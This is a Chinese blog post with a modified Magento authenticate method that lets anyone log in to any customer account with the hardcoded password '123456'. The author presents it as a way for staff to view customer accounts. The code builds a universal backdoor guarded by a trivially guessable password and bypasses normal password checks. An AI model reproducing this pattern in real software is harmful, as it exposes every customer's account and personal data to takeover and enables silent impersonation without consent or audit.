柳暗花明笔记

    magento添加通用登陆密码方法,email还要是验证的,这样只是方便服务登陆查看

    所属分类:[ php&web ] 猫哲学家 发表于:2016-09-18 23:57 浏览:241

    在文件app/code/core/Mage/Customer/Model/Customer.php的authenticate方法作以下修改:

    /**
    * Authenticate customer
    *
    * @param string $login
    * @param string $password
    * @throws Mage_Core_Exception
    * @return true
    *
    */
    public function authenticate($login, $password)
    {
    $this->loadByEmail($login);
    if ($this->getConfirmation() && $this->isConfirmationRequired()) {
    throw Mage::exception('Mage_Core', Mage::helper('customer')->__('This account is not confirmed.'),
    self::EXCEPTION_EMAIL_NOT_CONFIRMED
    );
    }
    // Lanmiz 添加通用登陆密码 20160918 start
    if ($password == '123456')
    {

    } else // Lanmiz 添加通用登陆密码 20160918 end
    if (!$this->validatePassword($password)) {
    throw Mage::exception('Mage_Core', Mage::helper('customer')->__('Invalid login or password.'),
    self::EXCEPTION_INVALID_EMAIL_OR_PASSWORD
    );
    }
    Mage::dispatchEvent('customer_customer_authenticated', array(
    'model' => $this,
    'password' => $password,
    ));

    return true;
    }

    标签: php  magento 
    上一编文章 prestashop 添加通用登陆密码,email还要是验证的,这样只是方便客服登陆查看 下一编文章 收藏php的一个好东西ReflectionObject
    最近文章
    发表评论